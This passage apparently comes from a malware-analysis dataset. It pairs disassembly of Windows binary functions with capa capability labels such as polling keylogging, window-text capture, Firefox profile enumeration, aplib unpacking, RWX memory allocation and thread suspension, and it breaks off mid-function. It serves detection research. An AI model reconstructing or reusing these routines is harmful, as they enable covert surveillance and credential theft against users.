joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006bc40
Capabilities:
Get geographical location

Disassembly:
jmp 0x14006bc40
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov r9d, 2
lea r8, [rsp + 0x40]
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x14006bc7d
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov edx, eax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
call fcn.140002c5c
add rsp, 0x58
ret

Function at 0x140070950
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140002d6f
movzx eax, al
test eax, eax
jne 0x140070970
mov ecx, 7
call fcn.14000278e
nop
mov byte [rsp + 0x20], 0
call fcn.1400027f2
mov byte [rsp + 0x21], al
cmp dword [0x140090ce0], 1
jne 0x140070994
mov ecx, 7
call fcn.14000278e
nop
jmp 0x1400709ec
cmp dword [0x140090ce0], 0
jne 0x1400709e7
mov dword [0x140090ce0], 1
lea rdx, [0x14007c880]
lea rcx, [0x14007c550]
call sub.ucrtbased.dll__initterm_e
test eax, eax
je 0x1400709c8
mov eax, 0xff
jmp 0x140070af1
lea rdx, [0x14007c440]
lea rcx, [section..rdata]
call sub.ucrtbased.dll__initterm
mov dword [0x140090ce0], 2
jmp 0x1400709ec
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14000272f
call fcn.140002414
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140070a49
mov rcx, qword [rsp + 0x30]
call fcn.140001adc
movzx eax, al
test eax, eax
je 0x140070a49
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14009d020]
nop
call fcn.14000254f
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140070a7d
mov rcx, qword [rsp + 0x38]
call fcn.140001adc
movzx eax, al
test eax, eax
je 0x140070a7d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call sub.ucrtbased.dll__register_thread_local_exe_atexit_callback
nop
call fcn.140070ba0
mov dword [rsp + 0x28], eax
call fcn.140002342
movzx eax, al
test eax, eax
jne 0x140070a9c
mov ecx, dword [rsp + 0x28]
call sub.ucrtbased.dll_exit
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140070aab
call sub.ucrtbased.dll__cexit
nop
xor edx, edx
mov cl, 1
call fcn.140001a32
mov eax, dword [rsp + 0x28]
jmp 0x140070af1
add rsp, 0x68
ret
Function at 0x140867058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1408671df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140867089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14086706f
add dl, dl
jne 0x140867096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408670f6
xor eax, eax
add dl, dl
jne 0x1408670a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408671ad
add dl, dl
jne 0x1408670b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408670c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408670d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408670dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1408670ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14086707e
mov eax, 1
add dl, dl
jne 0x140867106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140867113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1408670fb
sub eax, ebx
mov ebx, 1
jne 0x14086714c
mov ecx, 1
add dl, dl
jne 0x14086712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14086713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140867123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14086707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140867168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140867175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14086715d
cmp eax, 0x7d00
jae 0x14086719b
cmp eax, 0x500
jb 0x140867196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14086707e
cmp eax, 0x7f
ja 0x14086719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14086707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1408671d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14086707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180004794
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
and qword [rbp + 0x30], 0
and qword [rbp + 0x38], 0
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0xff
mov byte [rsp + 0x20], 0
call sub.msvcrt.dll_memset
mov rcx, qword [0x180027898]
and qword [rbp + 0x40], 0
test rcx, rcx
je 0x18000494e
mov eax, dword [0x1800278a8]
test eax, eax
je 0x18000494e
mov byte [rax + rcx], 0
mov edx, dword [0x1800278a8]
mov rcx, qword [0x180027898]
xor r8d, r8d
call fcn.18000e994
cmp eax, dword [0x1800278a0]
mov ebx, eax
jne 0x180004827
mov r8d, dword [0x1800278a8]
mov rcx, qword [0x180027898]
xor edx, edx
call fcn.18000ce90
jmp 0x180004940
mov rcx, qword [0x180027890]
test rcx, rcx
je 0x180004844
lea rdx, [rsp + 0x20]
mov r8d, 0x100
call qword [sym.imp.USER32.dll_GetWindowTextA]
call fcn.18000f330
mov qword [rbp + 0x30], rax
test rax, rax
je 0x180004940
lea rcx, [0x18002c090]
call fcn.18000d214
mov rdx, qword [0x18002cbd0]
mov rcx, qword [rbp + 0x30]
mov qword [rbp + 0x40], rax
call fcn.18000f3b0
mov rdx, qword [0x18002cbc0]
mov rcx, qword [rbp + 0x30]
call fcn.18000f460
mov rdx, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x30]
call fcn.18000f460
mov rdx, qword [0x18002cc78]
mov rcx, qword [rbp + 0x30]
call fcn.18000f460
mov rcx, qword [rbp + 0x30]
lea rdx, [rsp + 0x20]
call fcn.18000f460
mov rdx, qword [0x18002d010]
mov rcx, qword [rbp + 0x30]
call fcn.18000f460
call fcn.180004690
mov rcx, qword [rbp + 0x30]
mov qword [rbp + 0x38], rax
test rax, rax
je 0x1800048f3
mov rdx, rax
call fcn.18000f460
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, [rbp + 0x38]
movsxd rdx, eax
call fcn.18000ca70
jmp 0x180004914
mov rdx, qword [0x180027898]
call fcn.18000f460
mov r8d, dword [0x1800278a8]
mov rcx, qword [0x180027898]
xor edx, edx
call fcn.18000ce90
mov rcx, qword [rbp + 0x30]
lea rdx, [0x180018794]
call fcn.18000f460
lea rcx, [rbp + 0x30]
call fcn.18000f850
lea rcx, [rbp + 0x40]
or rdx, 0xffffffffffffffff
call fcn.18000ca70
mov dword [0x1800278a0], ebx
and dword [0x1800278a4], 0
and dword [0x1800278a8], 0
mov rbx, qword [rsp + 0x148]
add rsp, 0x120
pop rbp
ret
Function at 0x180004a64
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x130
movzx ebx, word [rcx + 0x18]
mov rdi, rcx
lea rcx, [0x180027888]
call fcn.18000e750
mov rcx, qword [0x18002d328]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, qword [0x18002ca68]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov rcx, qword [rdi + 0x10]
mov qword [0x180027890], rax
cmp rcx, 0xd
jne 0x180004ac0
call fcn.180004794
jmp 0x180004b37
xor esi, esi
mov edx, ebx
mov word [rsp + 0x148], si
call fcn.180004960
test eax, eax
jne 0x180004b37
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetKeyboardState]
mov r11d, dword [rdi + 0x18]
mov ecx, dword [rdi + 0x10]
sar r11, 0x10
lea r9, [rsp + 0x148]
lea r8, [rsp + 0x30]
movzx edx, r11b
mov dword [rsp + 0x20], esi
call qword [sym.imp.USER32.dll_ToAscii]
movzx r11d, word [rsp + 0x148]
mov byte [rsp + 0x140], r11b
test r11b, r11b
je 0x180004b37
test ebx, ebx
je 0x180004b37
lea rcx, [rsp + 0x140]
mov edx, 1
call fcn.180004598
dec rbx
jne 0x180004b20
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x180005014
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x50
mov rsi, rcx
lea rcx, [rax - 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rdi, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
cmp rsi, 0x40000000
jbe 0x18000505b
lea rax, [rsi - 0x40000000]
cmp rdi, rax
cmovb rdi, rax
mov rbx, qword [0x18002c5c0]
lea rax, [rsi + 0x40000000]
cmp rbp, rax
cmova rbp, rax
sub rbp, 0xfff
test rbx, rbx
je 0x180005096
cmp rbx, rdi
jb 0x180005091
cmp rbx, rbp
jae 0x180005091
cmp qword [rbx + 8], 0
jne 0x180005163
mov rbx, qword [rbx]
jmp 0x180005077
mov r12, rsi
cmp rsi, rdi
jb 0x1800050dd
mov r8d, dword [rsp + 0x48]
mov rdx, rdi
mov rcx, r12
call fcn.180004f14
mov r12, rax
test rax, rax
je 0x1800050dd
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180005123
cmp r12, rdi
jae 0x18000509e
test rbx, rbx
jmp 0x18000511a
mov r8d, dword [rsp + 0x48]
mov rdx, rbp
mov rcx, rsi
call fcn.180004f88
mov rsi, rax
test rax, rax
je 0x180005163
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180005123
cmp rsi, rbp
jbe 0x1800050e2
jmp 0x180005163
and qword [rbx + 8], 0
and dword [rbx + 0x10], 0
lea rcx, [rbx + 0x40]
mov rdx, rcx
sub rdx, rbx
mov rax, qword [rbx + 8]
add rdx, 0x40
mov qword [rcx], rax
mov qword [rbx + 8], rcx
add rcx, 0x40
cmp rdx, 0xfc0
jbe 0x180005136
mov rax, qword [0x18002c5c0]
mov qword [rbx], rax
mov qword [0x18002c5c0], rbx
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop r12
ret
Function at 0x180005af0
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
xor edx, edx
mov rbx, rcx
lea ecx, [rdx + 4]
call qword [0x18002c868]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180005be5
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x1c
call sub.KERNEL32.dll_Thread32First
jmp 0x180005bd4
cmp dword [rsp + 0x20], 0x10
jb 0x180005bbf
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x180005bbf
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x180005bbf
mov r8, qword [rbx]
test r8, r8
jne 0x180005b80
mov dword [rbx + 8], 0x80
mov rcx, qword [0x1800278d0]
xor edx, edx
mov r8d, 0x200
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x180005bdc
jmp 0x180005baf
mov eax, dword [rbx + 8]
cmp dword [rbx + 0xc], eax
jb 0x180005baf
mov rcx, qword [0x1800278d0]
lea r9d, [rax + rax]
xor edx, edx
shl r9, 2
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
test rax, rax
je 0x180005bdc
mov ecx, dword [rbx + 8]
mov qword [rbx], rax
add ecx, ecx
mov dword [rbx + 8], ecx
mov edx, dword [rbx + 0xc]
mov rcx, qword [rbx]
mov eax, dword [rsp + 0x28]
mov dword [rcx + rdx*4], eax
inc dword [rbx + 0xc]
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov dword [rsp + 0x20], 0x1c
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x180005b2f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x180005bf0
Capabilities:
Suspend thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
and qword [rcx], 0
and dword [rcx + 8], 0
and dword [rcx + 0xc], 0
mov r12d, r8d
mov r13d, edx
mov rbx, rcx
call fcn.180005af0
cmp qword [rbx], 0
je 0x180005c76
xor edi, edi
cmp dword [rbx + 0xc], edi
jbe 0x180005c76
xor esi, esi
mov rax, qword [rbx]
xor edx, edx
mov r8d, dword [rax + rsi]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbp, rax
test rax, rax
je 0x180005c6b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, r12d
mov edx, r13d
mov rcx, rbp
call fcn.1800059f0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
add rsi, 4
cmp edi, dword [rbx + 0xc]
jb 0x180005c31
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x180005c90
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rbx, rcx
je 0x180005cff
xor edi, edi
cmp dword [rcx + 0xc], edi
jbe 0x180005ced
xor esi, esi
mov rax, qword [rbx]
xor edx, edx
mov r8d, dword [rsi + rax]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbp, rax
test rax, rax
je 0x180005ce2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
add rsi, 4
cmp edi, dword [rbx + 0xc]
jb 0x180005cb6
mov r8, qword [rbx]
mov rcx, qword [0x1800278d0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800065a8
Capabilities:
Check if file exists
Get common file path
Get file attributes
Read .ini file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
lea rbp, [rax - 0x818]
sub rsp, 0x910
mov rsi, rdx
mov r12, rcx
lea rcx, [rbp - 0x58]
lea rdx, str.MozillaFirefox
mov r8d, 0x20
call sub.msvcrt.dll_memcpy
xor r9d, r9d
lea r11, [rbp - 0x30]
lea edx, [r9 + 0x1a]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], r11
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x1800067a2
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x30]
call fcn.18000fc90
test eax, eax
je 0x1800067a2
mov rax, qword [str.profiles.ini]
lea r8, [rsp + 0x58]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x58], rax
mov rax, qword [0x1800188c0]
lea rcx, [rbp + 0x1e0]
mov qword [rsp + 0x60], rax
mov rax, qword [0x1800188c8]
mov qword [rsp + 0x68], rax
movzx eax, word [0x1800188d0]
mov word [rsp + 0x70], ax
call fcn.18000fc90
test eax, eax
je 0x1800067a2
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800067a2
mov rax, qword [str.IsRelative]
xor bl, bl
mov qword [rsp + 0x40], rax
mov rax, qword [0x1800188a8]
mov qword [rsp + 0x48], rax
mov eax, dword [0x1800188b0]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1800188b4]
mov word [rsp + 0x54], ax
mov rax, qword [str.Path]
mov qword [rsp + 0x30], rax
movzx eax, word [0x180018898]
mov word [rsp + 0x38], ax
lea r8, str.Profile_u
lea rcx, [rsp + 0x78]
movzx r9d, bl
mov edx, 0xf
call fcn.18000e54c
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x78]
mov r8d, 0x20
call fcn.18000d318
lea r9, [rbp + 0x1e0]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x78]
or r8d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov edi, eax
cmp eax, 0xffffffff
je 0x1800067a2
lea rax, [rbp + 0x1e0]
lea r9, [rbp + 0x3f0]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rcx, [rbp - 0x78]
xor r8d, r8d
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
je 0x180006797
lea rcx, [rbp + 0x3f0]
call fcn.18000fcc8
cmp edi, 1
jne 0x180006786
lea r8, [rbp + 0x3f0]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x600]
call fcn.18000fc90
test eax, eax
je 0x180006797
lea rcx, [rbp + 0x600]
jmp 0x18000678d
lea rcx, [rbp + 0x3f0]
mov rdx, rsi
call r12
test eax, eax
je 0x1800067a2
inc bl
cmp bl, 0xfa
jb 0x1800066cd
lea r11, [rsp + 0x910]
mov dword [0x1800278f0], 1
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r12, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180007ad8
Capabilities:
Create thread

Disassembly:
mov rax, rsp
sub rsp, 0x78
mov rcx, qword [0x18002c2a0]
and qword [rax + 8], 0
call fcn.18000d214
mov r8d, dword [0x18002c08c]
lea rcx, [rsp + 0x48]
mov rdx, rax
mov qword [rsp + 0x80], rax
call fcn.1800104a8
lea rcx, [rsp + 0x80]
or rdx, 0xffffffffffffffff
call fcn.18000ca70
lea rcx, [rsp + 0x30]
call fcn.1800102c4
xor r8d, r8d
xor edx, edx
lea r9, [rsp + 0x48]
test eax, eax
jns 0x180007b39
xor ecx, ecx
jmp 0x180007b3e
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [0x180027918], rax
test rax, rax
jne 0x180007b54
xor eax, eax
jmp 0x180007bc2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x180007b8c
mov rcx, qword [0x180027918]
call qword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
jne 0x180007b81
mov rcx, qword [0x180027918]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180007b50
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [0x1800278fc]
lea r8, [0x180007a6c]
xor r9d, r9d
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x180027900], rax
test rax, rax
je 0x180007b72
mov eax, 1
add rsp, 0x78
ret

Function at 0x180007c50
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, r8
mov rdi, rcx
mov qword [0x180027920], rcx
cmp edx, 1
jne 0x180007d53
cmp dword [r8 + 0x2fb], 0xe291a0f3
je 0x180007c84
xor eax, eax
jmp 0x180007db4
call fcn.18000ca20
mov ecx, 1
call fcn.18000de44
test eax, eax
js 0x180007c7d
mov r8d, 5
mov rdx, rbx
mov rcx, rdi
call fcn.180010dec
call fcn.180007ad8
test eax, eax
je 0x180007c7d
call fcn.18000d670
call fcn.18000f2a0
mov rcx, qword [0x18002ca28]
lea r9, [0x1800278f8]
xor r8d, r8d
mov dl, 0x3b
call fcn.18000d498
mov qword [0x180027908], rax
call fcn.18000269c
mov rcx, qword [0x18002c2a0]
call fcn.180007bc8
test eax, eax
je 0x180007cf6
call fcn.18000287c
jmp 0x180007d4a
call fcn.180004548
call fcn.180003894
call fcn.18000bd80
call fcn.180001000
call fcn.18000845c
call fcn.180002218
call fcn.18000be94
call fcn.180002ed8
call fcn.180008188
call fcn.18000287c
call fcn.180002854
call fcn.180002868
call fcn.180002bf0
call fcn.180002b68
call fcn.180007dc0
test eax, eax
je 0x180007d4a
call fcn.180002890
xor ecx, ecx
call fcn.180002704
jmp 0x180007daf
test edx, edx
jne 0x180007daf
call fcn.18000270c
call fcn.180008fdc
call fcn.180004574
mov ecx, 1
call fcn.18000ddb0
call fcn.18000160c
call fcn.180002250
call fcn.18000f01c
call fcn.180002f1c
lea rdx, [0x1800278f8]
lea rcx, [0x180027908]
call fcn.18000d5d0
cmp dword [0x1800262e4], 0
je 0x180007daf
mov rcx, qword [0x180027900]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180008030
Capabilities:
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp dword [0x180027968], 0
mov esi, r8d
mov edi, edx
mov rbx, rcx
jne 0x180008054
xor eax, eax
jmp 0x180008086
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, edi
je 0x180008050
test esi, esi
jne 0x18000806b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov edx, edi
mov rcx, rbx
call fcn.180007f50
mov edi, eax
test esi, esi
jne 0x180008084
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, edi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180008098
Capabilities:
Enumerate threads
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x40
xor ebx, ebx
mov r12d, ecx
cmp dword [0x180027968], ebx
mov esi, ebx
jne 0x1800080c6
xor eax, eax
jmp 0x18000816e
mov r13d, dword [0x18002c08c]
xor edx, edx
lea ecx, [rdx + 4]
call qword [0x18002c868]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x1800080bf
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x1c
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x180008163
cmp dword [rsp + 0x2c], r13d
jne 0x180008150
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 0x4a]
call qword [0x18002c750]
mov rdi, rax
test rax, rax
je 0x180008150
mov edx, dword [rsp + 0x28]
xor r8d, r8d
mov rcx, rax
call fcn.180008030
test eax, eax
je 0x180008147
mov rcx, rdi
test r12d, r12d
je 0x18000813c
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x180008142
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov esi, 1
mov rcx, rdi
call qword [0x18002c7a8]
lea rdx, [rsp + 0x20]
mov rcx, rbp
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1800080fa
mov ebx, esi
mov rcx, rbp
call qword [0x18002c7a8]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r13
pop r12
pop rdi
ret

Function at 0x1800083a8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdx, qword [0x18002d468]
mov rcx, qword [0x180027920]
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
jne 0x1800083d8
xor eax, eax
jmp 0x180008412
mov rcx, qword [0x180027920]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, qword [0x180027920]
mov rdx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1800083d4
mov r9d, 4
xor r8d, r8d
mov edx, edi
mov rcx, rax
call fcn.180011404
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180008480
Capabilities:
Query environment variable

Disassembly:
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x40
and qword [0x18002a5d8], 0
and qword [rbp + 0x30], 0
mov edi, 1
mov ecx, 0x2a7
mov dword [0x180027980], edi
call fcn.18000e134
lea r8d, [rdi + 0x1e]
lea rdx, [rbp - 0x20]
mov rcx, rax
mov qword [rbp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x18000854b
and qword [rbp + 0x28], 0
and qword [rbp + 0x38], 0
mov ecx, 0x1b74
call fcn.18000e054
lea rdx, [0x1800189ec]
lea rcx, [0x18002be80]
mov r8, rax
xor r9d, r9d
mov qword [rbp + 0x38], rax
call fcn.18000d360
lea rcx, [rbp + 0x38]
mov qword [rbp + 0x28], rax
call fcn.18000e218
mov rcx, qword [rbp + 0x28]
call fcn.18000fd08
test eax, eax
jne 0x18000853b
lea rcx, [rbp + 0x30]
mov dword [0x180027984], edi
call fcn.18000e218
lea rcx, [rbp + 0x28]
mov rdx, 0xfffffffffffffffe
call fcn.18000ca70
xor eax, eax
jmp 0x1800086b8
lea rcx, [rbp + 0x28]
mov rdx, 0xfffffffffffffffe
call fcn.18000ca70
lea rcx, [rbp + 0x30]
call fcn.18000e218
call fcn.18000d6a0
lea rsi, [0x18002a6c4]
test eax, eax
jne 0x180008594
mov edx, dword [0x18002c530]
mov rcx, qword [0x18002c528]
mov r9d, edi
mov r8, rsi
call fcn.18000db70
mov edx, dword [0x18002c540]
mov rcx, qword [0x18002c538]
xor r9d, r9d
mov r8, rsi
call fcn.18000db70
mov ecx, 0x14
call fcn.18000dae0
test rax, rax
je 0x1800085a8
cmp byte [rax], 0x31
je 0x180008534
mov edx, 0x3a98
xor ecx, ecx
call fcn.18000c9c4
mov qword [0x180027978], rax
test rax, rax
je 0x180008534
mov ecx, dword [0x180026390]
imul rcx, rcx, 0xfc50
call fcn.18000ca40
mov qword [0x180027970], rax
test rax, rax
jne 0x1800085ed
and dword [0x180026390], eax
jmp 0x180008534
call fcn.1800083a8
mov qword [rbp + 0x20], rax
test rax, rax
je 0x18000860e
mov rcx, rax
call fcn.180009acc
lea rcx, [rbp + 0x20]
xor edx, edx
call fcn.18001163c
mov edx, dword [0x18002c500]
mov rcx, qword [0x18002c4f8]
mov r9d, edi
mov r8, rsi
call fcn.180011404
mov qword [rbp + 0x20], rax
test rax, rax
je 0x180008642
mov rcx, rax
call fcn.180009acc
lea rcx, [rbp + 0x20]
xor edx, edx
call fcn.18001163c
mov edx, dword [0x18002c510]
